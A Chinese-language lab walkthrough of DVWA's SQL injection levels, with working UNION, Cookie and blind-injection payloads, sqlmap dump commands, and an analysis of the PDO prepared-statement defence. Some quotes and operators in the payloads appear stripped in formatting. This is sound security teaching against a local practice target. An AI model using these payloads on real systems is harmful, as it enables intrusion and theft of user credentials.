
DVWA靶场通关——SQL Injection篇想练SQL注入十个人里有八个会推荐DVWA。这不是因为它花哨恰恰相反它足够“笨”——把漏洞写得明明白白让初学者能看清注入语句在服务端是怎么拼接、怎么执行、又是怎么被防御的。DVWA的SQL Injection模块一共四个安全等级LOW、MEDIUM、HIGH、Impossible。一路打下来等于把SQL注入从入门到防御的完整路径走了一遍。这篇内容就是我从LOW级一路通关到Impossible级的实际操作记录包含每一步的探测思路、关键payload、代码层面的防御分析以及我在本地环境里真实踩过的坑。适合刚接触Web安全、想知道SQL注入为什么发生、怎么利用、又该怎么防御的读者。在开始之前先说一句DVWA是一个本地靶场你必须自己搭建环境所有测试都只在你自己的机器上进行。SQL注入是真实业务系统里最危险的漏洞之一攻击手法只应在授权测试和学习环境中使用。1 先弄清楚你要面对的东西1.1 为什么是DVWA市面上练渗透的靶场很多有的难到让你怀疑人生有的环境搭建就劝退一半人。DVWA特别适合这阶段的原因很朴素它是PHP写的逻辑简单代码量小每个漏洞模块都给你设好了从易到难的梯度。你不需要理解复杂的框架不需要容器编排本地装个PHP环境、起个MySQL、把DVWA目录往Web根目录一放就能跑起来。我用的组合是Windows下的PHPStudy或者你也可以在Linux下用本质都一样。DVWA的登录账号密码默认是admin/admin进去之后左侧菜单就能看到SQL Injection模块。很多人上来就急着点进SQL Injection我建议先看一眼页面底部的“DVWA Security”菜单把安全等级切到LOW再开始。DVWA的模块会根据这个等级切换服务端代码从完全没有防护到逐步加入各类过滤机制。1.2 SQL注入的本质是“拼接”失控SQL注入之所以叫注入本质上是因为程序把用户输入当成代码拼接进了SQL语句。这和放烟花时把烟头掉进火药桶是一个道理——你本来只想扔个烟头到地面结果误入了火药堆。抽象成一句话用户的输入没有被当作纯数据看待而是被当成了SQL语法的一部分执行。举个例子。DVWA的LOW级查询语句大概是这样的$getid SELECT first_name, last_name FROM users WHERE user_id $id;这里的$id直接来自用户请求参数。如果你输入1 UNION SELECT user, password FROM users-- -拼接后的SQL会变成SELECT first_name, last_name FROM users WHERE user_id 1 UNION SELECT user, password FROM users-- -你看原本的查询被“截断”了你的单引号闭合了前一个字符串UNION SELECT把两个查询结果合并到一起-- -又把后面的内容注释掉。这就叫注入。1.3 四个安全等级对应四种防护思路DVWA把同一漏洞做成了四个等级这不是为了刁难你而是为了展示安全的演进过程LOW没有任何防护裸奔状态适合理解漏洞原理MEDIUM加了转义函数但没引号包裹适合理解防御的局限HIGH参数换了位置加了LIMIT限制还做了转义适合理解绕过的思路Impossible使用参数化查询从根上消灭拼接漏洞适合学习正确写法把这四个等级打完你对SQL注入的理解就不是“会用几个payload”而是知道漏洞从哪来、到哪去、怎么根治。接下来按等级逐个拆解。2 LOW级通关从零开始的手工注入全流程2.1 找到注入点先判断它是什么类型进入SQL Injection模块会看到一个输入框和“Submit”按钮下方显示User ID: 1和对应的First name、Surname。这就是典型的用户ID查询功能。第一步随便输入一个数字比如1页面正常回显用户信息。输入2回显变成另一个用户。这时基本可以确认这个参数和后端数据库查询存在直接关系。第二步判断注入类型。输入1如果页面报错说明单引号影响了SQL结构大概率存在字符型注入如果页面正常那可能只是数字型或者输入被过滤了。DVWA的LOW级这里输入1会直接报错错误信息你还能看到SQL语句的片段——它把1附近的内容原样抛了出来。判断注入类型有很简单的经验法则数字型注入直接1 AND 11和1 AND 12对比结果如果前者正常、后者异常基本就是数字型字符型注入这类语句里用户输入通常被单引号包裹需要构造单引号去闭合再用注释符处理掉后面多余的内容我习惯先输入一个单引号看反应再用1 AND 11这种语句验证。如果构造后页面正常说明我们的输入确实改变并闭合了SQL这就坐实了漏洞的存在。2.2 用ORDER BY和UNION探测列数确认存在注入后下一步是弄清当前查询的列数。为什么因为UNION SELECT要求前后两个查询的列数一致你只有知道了原查询有几列才能写出合适的联合查询语句。最常用的探测方式是ORDER BY。从小到大递增数字比如1 ORDER BY 1-- - 1 ORDER BY 2-- - 1 ORDER BY 3-- -当ORDER BY的数字超过了查询列数数据库会报错“Unknown column”。我在这步踩过一个新手坑-- -这个注释符后面必须有一个空格。很多教程写--就够了但在MySQL里--后必须跟空格或控制字符才能生效否则整个语句会语法错误。DVWA的LOW级查询是两列ORDER BY 3时报错说明原查询有2列。这时再用UNION SELECT就心里有底了1 UNION SELECT 1, 2-- -页面会显示First name1Surname2这说明两个列的位置都暴露在页面上后面想查什么就往这个位置填什么。提示构造payload时前面的1是为了让WHERE条件匹配不到任何数据这样UNION后面的查询结果才能回显出来。如果你不想要前面的查询产生任何行可以把1换成0或者一个不存在的ID。2.3 从库名出发一步步查到账号密码列数确定了接下来就是信息收集的经典流程库名 → 表名 → 列名 → 数据。先查当前数据库名1 UNION SELECT 1, database()-- -页面会显示dvwa说明当前连的是dvwa这个库。再查库里有哪些表。MySQL 5以上版本都有information_schema这个系统数据库它记录了所有数据库、表、列和权限信息。查表名1 UNION SELECT 1, table_name FROM information_schema.tables WHERE table_schemadvwa-- -这个语句会一次性返回所有表名。页面有可能会显示多行结果DVWA这个查询没有做分页或只取第一行所以你能看到users、guestbook这些表名。如果你使用的靶场限制了回显行数更稳妥的做法是用group_concat把结果拼成一行1 UNION SELECT 1, group_concat(table_name) FROM information_schema.tables WHERE table_schemadvwa-- -锁定users表之后查它的列名1 UNION SELECT 1, group_concat(column_name) FROM information_schema.columns WHERE table_nameusers-- -正常情况下回显会包含user_id、first_name、last_name、user、password、avatar等字段。我们关心的就是user和password这几个有实际价值的列。最后直接查账号密码1 UNION SELECT user, password FROM users-- -页面上能看到admin、guest之类的用户列表password字段是一串MD5哈希。你可以去CMD5或者john这类的工具去爆破比如经典的5d41402abc4b2a76b9719d911017c592对应的是hello。2.4 LOW级通关总结LOW级没有任何过滤整个流程做下来你会对SQL注入产生很直观的体感它的本质就是你在帮后端程序员拼接他的SQL语句。我在实际测试里最喜欢用来验证注入点的两个动作输入单引号观察是否报错用AND 11和AND 12对比响应差异这两个动作能覆盖九成以上的GET型注入场景。DVWA的LOW级其实锻炼的也是这种手感而不是让你背payload。3 MEDIUM级通关防护了但又没完全防护3.1 服务端到底加了多少防御把安全等级切到MEDIUM再回到SQL Injection模块你会发现页面变了——输入框从GET传参变成了一个下拉选择框提交方式也变成了POST。也就是说你不能再通过URL直接改参数来注入了必须用Burp Suite抓包或者浏览器开发者工具来修改POST请求体。DVWA的MEDIUM级源码核心逻辑大概是$id $_POST[id]; $id mysqli_real_escape_string($conn, $id); $query SELECT first_name, last_name FROM users WHERE user_id $id;这里有两个变化参数从$_GET[id]换成了$_POST[id]URL注入不再生效引入了mysqli_real_escape_string它会转义、、\等特殊字符乍一看转义函数都上了应该安全了吧但注意看SQL语句WHERE user_id $id——这里没有单引号包裹$id。mysqli_real_escape_string防的是字符串边界被打破。如果用户输入被放进单引号内转义确实能防止闭合。但如果根本没加引号用户输入是数字型直接拼进去那转义函数就几乎没有用武之地了。你不需要闭合什么引号直接写数字和SQL语句就行。3.2 绕过思路不需要绕过而是“平行穿越”很多人卡在MEDIUM级是因为思维还停留在LOW级的单引号闭合套路上。输入1 UNION SELECT 1,2发现没反应就以为漏洞不存在了。实际上MEDIUM级因为数字型注入直接裸写UNION就行。POST请求体里构造id1 UNION SELECT user, password FROM users#SubmitSubmit注意URL编码。在Burp Suite里发送时#不编码也没关系但空格的编码等价于或者%20不同工具会自动处理。这里的关键点在于**防御函数有没有效取决于它被用在什么位置。**把鞋子穿在手上就不能怪鞋子不能走路。mysqli_real_escape_string是好函数但用在一个没有字符串边界的地方等于白用。3.3 用Burp Suite完成POST注入实操我自己的操作流程是这样的先把靶场安全等级切到MEDIUM页面任意选择一个ID提交一次然后在Burp Suite的Proxy历史里找到这条POST请求。请求体大概长这样POST /dvwa/vulnerabilities/sqli/ HTTP/1.1 Host: 127.0.0.1 Cookie: PHPSESSIDxxxxxx; securitymedium ... id1SubmitSubmit把id1改为id1 UNION SELECT user, password FROM users#SubmitSubmit发送后看响应页面会多出一堆用户名和密码哈希。这就通关了。如果你手头没有Burp Suite也可以用浏览器的DevTools切到Network面板找到对应的请求右击选择Edit and Resend之类的功能也能实现POST改包。不过对于后续的Cookie注入和盲注Burp Suite还是更顺手建议装一个。3.4 别急着往下走先看懂这个教训MEDIUM级最值得思考的不是“怎么绕过”而是为什么转义会被绕过。mysqli_real_escape_string会把输入里的变成\在字符串类型注入场景下确实能防住单引号闭合。但数字型注入场景里SQL语句压根没有单引号包住输入输入直接被当作数值或表达式参与运算。此时转义函数处理过的内容只是让引号带上了斜杠而攻击者根本不需要引号。这个案例很典型地说明了一个问题**安全函数要结合上下文来使用。**你在代码里用了转义不代表这段代码就是安全的。今天你遇到的防御是没加引号的拼接后面还会遇到过滤不严、解码绕过、宽字节注入等等每个“防护”都可能因为一个细节没到位而形同虚设。4 HIGH级通关把id藏进Cookie里4.1 HIGH级做了什么为什么在Cookie里注入切到HIGH等级再回来页面看起来和MEDIUM很像还是下拉框。但如果你尝试POST注入会发现怎么改都不生效、找不到注入点。这是因为HIGH级的参数来源变成了Cookie。源码逻辑类似$id $_COOKIE[id]; $id mysqli_real_escape_string($conn, $id); $query SELECT first_name, last_name FROM users WHERE user_id $id LIMIT 1;这一版三管齐下参数放进了Cookie里普通POST/GET直接改参数没用了单引号包裹了$id转义函数又能起作用了增加了LIMIT 1限制返回行数——如果你用UNION SELECT查询多行可能最多只显示第一条KEY档的现实意义是很多开发者默认Cookie是不可控的于是把不该放在前端的参数放到Cookie里以为这样“外面看不到、改不了”。但事实上Cookie完全由客户端控制可以通过浏览器插件、开发者工具或者Burp修改。4.2 手工绕过的完整姿势先打开Burp Suite抓包或者用浏览器DevTools直接看请求头。HIGH级请求里会带这样的CookieCookie: PHPSESSIDxxxxxx; securityhigh; id1要注入就需要修改Cookie中的id字段。手工注入的思路是这个查询语句是WHERE user_id $id LIMIT 1所以我们需要闭合单引号同时把后面的LIMIT 1注释掉否则整个查询结果最多只回显一行。经典payload1 UNION SELECT user, password FROM users#在Burp里构造请求头CookieCookie: PHPSESSIDxxxxxx; securityhigh; id1 UNION SELECT user, password FROM users#注意#在URL里要编码成%23但在Cookie里直接放#通常也能传过去。发送请求后页面会显示第一条用户记录可能是第一行的另一个用户。由于LIMIT 1被#注释掉了UNION后面的所有用户都能显示出来只是页面布局上可能从第二个位置起。在某些DVWA版本里由于mysqli_real_escape_string的存在直接输入1会被转义成1\导致闭合失败。我在实际操作中遇到过几次。这时候可以顺着三个方向继续十六进制编码把payload里的单引号写成0x27或者使用char()函数动态生成避开转义关键字符宽字节注入利用GBK等字符集下%bf这类组合让转义符\被“吃掉”改用布尔盲注或时间盲注不依赖回显而是通过页面差异或响应时间判断结果DVWA是个教学靶场不同版本、不同运行环境会有细微差异。我建议你先按我上面的payload打一遍能出结果就直接通关不出结果就按这三个方向逐个调试这个过程比最后拿到结果更有价值。4.3 工具辅助sqlmap怎么打HIGH级如果你只是想快速通关、把精力放在理解原理上sqlmap是很好的辅助工具。它是目前用得最多的SQL注入自动化检测工具支持从GET、POST到Cookie的各种注入场景。针对HIGH级命令大概是这样sqlmap -u http://127.0.0.1/dvwa/vulnerabilities/sqli/ --cookiePHPSESSIDxxxxxx; securityhigh; id1 --level3 --risk3 --dbs建议等待一会sqlmap会尝试各种注入方式。等确认注入点时继续sqlmap -u http://127.0.0.1/dvwa/vulnerabilities/sqli/ --cookiePHPSESSIDxxxxxx; securityhigh; id1 --level3 --risk3 -D dvwa --tables sqlmap -u http://127.0.0.1/dvwa/vulnerabilities/sqli/ --cookiePHPSESSIDxxxxxx; securityhigh; id1 --level3 --risk3 -D dvwa -T users --dump有几个参数说明一下--level检测深度从1到5数字越大检测的测试向量越多。Cookie注入通常需要至少2或3--risk风险等级数字越大越可能使用破坏性payload比如OR 11这种--cookie必须带上完整的会话Cookie否则sqlmap连页面都访问不了如果你在LOW级用sqlmap打得很顺畅到HIGH级突然发现检测不出来大概率就是level设太低了。Cookie注入和高危payload默认不在最低检测范围内把--level调到3、--risk调到2或3是常见解法。4.4 盲注场景的思路延伸DVWA的SQL Injection模块在HIGH级依然有回显你还能看到用户名、密码。但实际渗透中很多场景是没有回显的——SQL执行了但结果不会显示在页面上。这时候就需要盲注。盲注分两种布尔盲注通过页面正常/异常来逐字符猜测数据。构造id1 AND ASCII(SUBSTRING((SELECT password FROM users WHERE user1),1,1))97#如果页面正常说明第一个字符的ASCII大于97时间盲注页面无差异时使用sleep()函数。构造id1 AND IF(条件, sleep(3), 0)#响应多3秒说明条件为真手工盲注非常耗时一个字符一个字符地猜。实际项目里都会写脚本。我当年练习时写过一个很简单的Python布尔盲注脚本大概逻辑是先探测库名长度再从字符表中逐个匹配。如今这种脚本已经没什么必要重复发明了sqlmap的--time-sec和--techniqueBT就能干这活。但理解盲注的原理有助于你判断工具的运行结果是否合理。5 Impossible级与真正有效的防御5.1 代码审计PDO预处理做了什么事最后把安全等级切到Impossible页面换成了一个“提交按钮ID输入框”的新布局。这时候你再拿任何payload去打都会看到类似信息已提交但没有任何注入结果。看源码写法变成了$data $db-prepare(SELECT first_name, last_name FROM users WHERE user_id (:id) LIMIT 1;); $data-bindParam(:id, $id, PDO::PARAM_INT); $data-execute();这里没有字符串拼接而是用了PDO预处理 参数绑定。关键点在于prepare先把SQL语句发送到数据库服务器数据库负责编译解析此时(:id)只是一个占位符不参与任何逻辑bindParam把用户输入绑定到这个占位符上数据库明确知道这个是“数据”不是“代码”再加PDO::PARAM_INT指定类型为整数类型这就是三重保障你可以这样理解参数化查询你提前告诉数据库“我要在users表里查user_id等于某个值的记录”然后才说“这个值是这个”。而拼接查询的方式相当于你先把用户的话原封不动地编进指令里再让数据库执行——到底会执行成什么取决于用户说了什么。Impossible级还有一个细节它把LIMIT 1保留了。这个LIMIT本身也是防御的一部分即使前面出现了注入窗口也能限制数据泄露的行数。5.2 为什么绑定参数能终结SQL注入很多人知道参数化查询能防注入但不知道原理。我在这里用最直白的方式解释一下。传统拼接SELECT * FROM users WHERE user_id 1 OR 11在这里OR 11被数据库当作SQL语句的一部分来解析。它毫无疑问是一段代码逻辑。参数化查询SELECT * FROM users WHERE user_id ?执行时传入的参数值可能是1 OR 11但数据库在解析阶段就已经确定WHERE user_id ?这个结构里?只对应一个值。它不会再把这个值拆分成语法元素。就像你往复印机里放了一张写着“请把门打开”的字条复印机只会复制这张字条不会真的去开门。参数化查询对于SQL注入来说可以说是釜底抽薪。不管用户输入什么哪怕再奇怪、再精巧都只是数据永远成不了SQL代码。5.3 从DVWA学到的“开发铁律”打完整轮DVWA我最想对开发者说的话是在SQL语句里永远不要拼接任何外部输入。别想着“这个参数内部系统用不会有人改”也别想着“我加个过滤就安全了”。过滤和转义只是防守而参数化查询才是从机制上消灭问题。以下是几条我在实际项目里反复强调的规则所有数据库操作使用PDO预处理或至少使用参数化查询不要信任任何来源的输入GET、POST、Cookie、请求头通通不可信数字型字段指定参数类型比如PDO::PARAM_INT数据库账号权限最小化查询账号不应该有DROP、DELETE等权限日志记录和监控不可缺少即使出了漏洞也要能第一时间发现DVWA的Impossible级代码只有几行但它是所有开发者都应该背诵的“标准答案”。它不是为了让攻击者打不进去而是告诉你一个真正负责任的后端程序员应该怎么写SQL查询。6 常见问题与排查实录写到这里我把实践中经常遇到的情况按场景整理成了一张速查表方便你对照排查。现象可能原因排查思路输入1没有任何反应或页面直接报错字符型/数字型判断失误分别用1 AND 11和1 AND 12对比结果确认注入类型UNION SELECT无效或列数不匹配ORDER BY探测不完整从ORDER BY 1到ORDER BY 9逐个尝试找到报错的临界值MEDIUM级POST改参没用参数位置找错了检查Burp里提交的是不是id字段可能是请求体被URL编码吞掉HIGH级怎么注入都没反应Cookie没带上或level过低确认请求头里有完整PHPSESSIDsqlmap要加--level3输入引号被“吃”掉mysqli_real_escape_string或addslashes生效改用十六进制、宽字节或盲注思路sqlmap提示无法连接或404缺少登录会话Cookie登录DVWA后把完整Cookie复制进--cookie参数回显只能显示一行原查询带LIMIT 1payload末尾加#或-- -注释掉LIMIT我遇到过最多的一个问题是初学者在HIGH级用Burp改了请求体但忘了Cookie里的securityhigh其实和当前等级绑定了。DVWA的很多模块会把当前security等级存放在Cookie或者会话里你只改了id等级没对上的时候后端可能走到了LOW/其他分支导致测试结果和自己的预期对不上。建议每次切换安全等级后重新抓包确认Cookie里的security字段一致。另外一个常用的技巧是全程开着Burp Proxy的Intercept这样每次请求都能拦住看完整请求头比在浏览器后台里翻历史要直观得多。改Cookie也好、改POST参数也好都在Proxy里操作就行。很多人初学时不习惯Burp总是先用浏览器DevTools凑合遇到Cookie注入这种场景就不知道怎么下手了。Burp的Repeater功能对这种改包重放操作几乎是量身定做。说实话DVWA的SQL Injection模块练完你对SQL注入的理解会比只看教程强十倍。因为你能亲眼看到一个单引号如何引发语法错误一个UNION如何把两张表的数据并在一起一个#如何把后顾之忧全部注释掉。这些手感只有亲手操作过才有。如果你把这个关卡打完了下一步建议去试试SQLi Labs、靶场里其他的盲注关卡甚至可以直接尝试在授权的前提下用sqlmap对本地实验环境做一次全流程测试。把手工注入做熟练再上工具你会明显感觉工具的每一个检测步骤都在自己的掌控范围内而不是在黑盒里盲猜。最后分享一个小习惯我每次做完这类测试都会顺手把完整的请求包、payload、服务端响应截图保存下来存成本地笔记。过了几个月你再回头看这些记录会发现当初踩过的坑都变成了可以快速调用的经验而不是又要从零开始试错。